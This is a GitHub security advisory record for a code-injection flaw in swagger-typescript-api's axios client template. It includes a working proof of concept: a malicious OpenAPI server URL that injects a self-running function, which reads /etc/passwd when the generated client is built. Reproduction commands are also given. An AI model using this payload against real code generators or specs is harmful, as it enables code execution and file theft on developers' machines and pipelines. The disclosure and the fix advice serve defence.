{"id":"CVE-2026-54661","aliases":["GHSA-38c3-wv3c-v3xj"],"title":"swagger-typescript-api vulnerable to code injection via unescaped `servers[0].url` in axios http-client template","summary":"swagger-typescript-api vulnerable to code injection via unescaped `servers[0].url` in axios http-client template","severity":"high","cvss":8.3,"cwe":["CWE-74","CWE-94","CWE-1336"],"vendor":"swagger-typescript-api","product":"swagger-typescript-api","ecosystem":"npm","affected":["swagger-typescript-api <= 13.12.1"],"patched":["swagger-typescript-api 13.12.2"],"published":"2026-07-29","updated":"2026-07-29","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-38c3-wv3c-v3xj","references":[{"url":"https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-38c3-wv3c-v3xj"},{"url":"https://github.com/acacode/swagger-typescript-api/pull/1779"},{"url":"https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de"},{"url":"https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2"},{"url":"https://github.com/advisories/GHSA-38c3-wv3c-v3xj"}],"tags":["ghsa","npm"],"ingestedAt":"2026-07-29T14:48:17.640Z","epss":0.00477,"epssPercentile":0.38529,"slug":"CVE-2026-54661","body":"## Overview\n\n### Summary\n\n`swagger-typescript-api` interpolates `servers[0].url` directly into a TypeScript string literal inside the `HttpClient` constructor body of the generated **axios** client (`templates/base/http-clients/axios-http-client.ejs:71`), without any escaping. A malicious URL containing a `\"` closes the string literal and exposes the surrounding *object-literal argument* of `axios.create({...})` to injection. A computed property key whose value is an IIFE executes arbitrary code every time `new HttpClient()` (or `new Api()`, which extends `HttpClient`) is constructed. The attacker controls the OpenAPI spec; the victim is any consumer of the generated client. Impact is arbitrary code execution with the importing process's privileges.\n\nThis is the *axios* sibling of the previously reported fetch-client RCE — same upstream variable (`apiConfig.baseUrl`, sourced from `servers[0].url`), same root cause class (raw `<%~ %>` interpolation of unescaped spec strings), different template file and different lifecycle frame (constructor body vs class-body static field). The single most maintainable fix — sanitizing `apiConfig.baseUrl` once at the source in `src/code-gen-process.ts:591` — closes both at once.\n\n### Details\n\n`createApiConfig` in `src/code-gen-process.ts:591` sets the templated `baseUrl` from the spec without sanitization:\n\n```ts\nreturn {\n  ...\n  baseUrl: serverUrl,     // <-- serverUrl = swaggerSchema.servers[0].url, raw\n  ...\n};\n```\n\nThe axios http-client template (`templates/base/http-clients/axios-http-client.ejs:71`) then interpolates that value into a TS string literal inside the `HttpClient` constructor body:\n\n```ejs\nconstructor({ securityWorker, secure, format, ...axiosConfig }: ApiConfig<SecurityDataType> = {}) {\n    this.instance = axios.create({ ...axiosConfig, baseURL: axiosConfig.baseURL || \"<%~ apiConfig.baseUrl %>\" })\n    ...\n}\n```\n\n`<%~ %>` is Eta's raw, unescaped interpolation. The codebase's only escape function — `escapeJSDocContent` (`src/schema-parser/schema-formatters.ts:127`) — only replaces `*/` and is not applied to this path.\n\nThe injection sits inside a JavaScript *object literal* (the argument to `axios.create({...})`), so simple statement-level injection is not directly possible — but **computed property keys** are. A spec value of the form:\n\n```\nURL\", [(IIFE)()]: 0, dummy: \"\n```\n\nproduces the following object literal:\n\n```js\naxios.create({\n  ...axiosConfig,\n  baseURL: axiosConfig.baseURL || \"URL\",\n  [(IIFE)()]: 0,\n  dummy: \"\"\n})\n```\n\nThe IIFE evaluates eagerly when the object literal is constructed — i.e. every time `new HttpClient()` runs. The trailing `dummy: \"\"` reopens a string that the template's own closing `\"` terminates, keeping the file syntactically valid TypeScript.\n\n**Lifecycle compared to the fetch sink:** the fetch template emits a class-body field initializer that fires at class-definition / module load. The axios sink emits inside the constructor and therefore fires one frame later, on `new HttpClient()`. In practice the trigger window is identical, because:\n\n- Every README example in this repository does `const api = new Api()` at module top level.\n- `Api` (in `default/api.ejs`) extends `HttpClient`, so `new Api()` invokes the `HttpClient` constructor via `super()`.\n- Top-level `const api = new Api()` runs at module load — the consumer cannot import without instantiating in the documented usage pattern.\n\n### PoC\n\nSelf-contained reproducer (`run.sh` runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → instantiate → check canary). Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Malicious `servers[0].url`** (literal string, JSON-encoded in the spec below):\n\n```\nhttps://api.example.com\", [(async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} return 'pwned'; })()]: 0, dummy: \"\n```\n\n**Minimal payload spec:**\n\n```json\n{\n  \"openapi\": \"3.0.0\",\n  \"info\": { \"title\": \"AxiosPayloadAPI\", \"version\": \"1.0.0\" },\n  \"servers\": [\n    {\n      \"url\": \"https://api.example.com\\\", [(async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} return 'pwned'; })()]: 0, dummy: \\\"\"\n    }\n  ],\n  \"paths\": {\n    \"/ping\": {\n      \"get\": {\n        \"operationId\": \"ping\",\n        \"responses\": { \"200\": { \"description\": \"OK\" } }\n      }\n    }\n  }\n}\n```\n\n**Steps:**\n\n```bash\nnpm install swagger-typescript-api@13.12.1 esbuild axios\nnode -e \"import('swagger-typescript-api').then(m => m.generateApi({\n  name: 'Api.ts', output: process.cwd() + '/out',\n  input: process.cwd() + '/payload-spec.json', httpClientType: 'axios'\n}))\"\nnpx esbuild out/Api.ts --bundle --format=esm --platform=node \\\n  --external:axios --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs\nrm -f /tmp/sta_canary\nnode --input-type=module -e \"\n  const mod = await import('./out/Api.bundle.mjs');\n  new mod.HttpClient();\n  await new Promise(r => setTimeout(r, 300));\n\"\nls -la /tmp/sta_canary && cat /tmp/sta_canary\n```\n\n**Generated `out/Api.ts` (constructor — payload, Biome-formatted):**\n\n```ts\nconstructor({\n  securityWorker,\n  secure,\n  format,\n  ...axiosConfig\n}: ApiConfig<SecurityDataType> = {}) {\n  this.instance = axios.create({\n    ...axiosConfig,\n    baseURL: axiosConfig.baseURL || \"https://api.example.com\",\n    [(async () => {\n      try {\n        const fs = await import(\"node:fs\");\n        const data = fs.readFileSync(\"/etc/passwd\", \"utf8\");\n        fs.writeFileSync(\"/tmp/sta_canary\", data);\n      } catch (e) {}\n      return \"pwned\";\n    })()]: 0,\n    dummy: \"\",\n  });\n  this.secure = secure;\n  this.format = format;\n  this.securityWorker = securityWorker;\n}\n```\n\nThe `[(async () => { ... })()]: 0` is a real computed object-literal key — Biome only reformats syntactically valid TypeScript, so the multi-line indented output proves it parsed. The IIFE evaluates when the `axios.create({...})` argument is constructed (during the `HttpClient` constructor), schedules `fs.readFileSync('/etc/passwd')`, and writes the exfiltrated contents to `/tmp/sta_canary`.\n\n**Result:** after `new HttpClient()`, `/tmp/sta_canary` contains the full `/etc/passwd` of the importing process (1470 bytes on a typical Linux host). Control spec (`servers[0].url: \"https://api.example.com\"`) generates a clean `baseURL: ... || \"https://api.example.com\"` and writes no canary.\n\n### Impact\n\n**Type:** Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).\n\n**Affected use cases:** any developer or pipeline that runs `swagger-typescript-api` with `httpClientType: \"axios\"` (or `--http-client axios`) against an OpenAPI spec they did not author entirely:\n\n- `sta generate --http-client axios --url https://attacker.example/openapi.json` — a public, third-party, or attacker-hosted spec.\n- A CI/CD pipeline regenerating axios-based clients from a vendor / partner spec on each build.\n- A multi-tenant SaaS that generates per-tenant axios clients from tenant-supplied specs.\n- Any project pinned to a spec file that a contributor can modify via PR.\n\n**Lifecycle:** the injected IIFE fires when `new HttpClient()` is constructed. In the standard usage pattern (`const api = new Api()` at module top level), this is effectively at first import — `Api extends HttpClient` and the `super()` call invokes the affected constructor. A consumer cannot use the generated client without constructing it.\n\n**Privilege:** the IIFE runs with the full privileges of the importing process — read any file the importer can read, write any file, exfiltrate secrets, spawn child processes, etc.\n\n**Suggested fix:** sanitize `apiConfig.baseUrl` once at the source in `src/code-gen-process.ts:591`:\n\n```ts\n// in createApiConfig\nbaseUrl: escapeJsStringLiteral(serverUrl),\n```\n\nwhere `escapeJsStringLiteral` produces a properly-escaped JS string literal — at minimum escaping `\"`, `\\`, `\\n`, `\\r`, `\\t`, `\\b`, `\\f`, `\\v`, `\\0`, and the line/paragraph separators ` ` / ` `. `JSON.stringify(serverUrl).slice(1, -1)` is a one-line acceptable implementation. **This single change closes both this advisory and the previously reported fetch-client variant** without further template edits.\n\nIf a template-side fix is preferred instead, both `templates/base/http-clients/fetch-http-client.ejs:75` and `templates/base/http-clients/axios-http-client.ejs:71` need their `<%~ apiConfig.baseUrl %>` swapped for the escaped form — fixing only one leaves the other exploitable.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)\n\n## Affected packages\n\n- `swagger-typescript-api <= 13.12.1`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `swagger-typescript-api 13.12.2`","depth":"twilight","depthScore":46,"depthScoreParts":{"impact":45.7,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}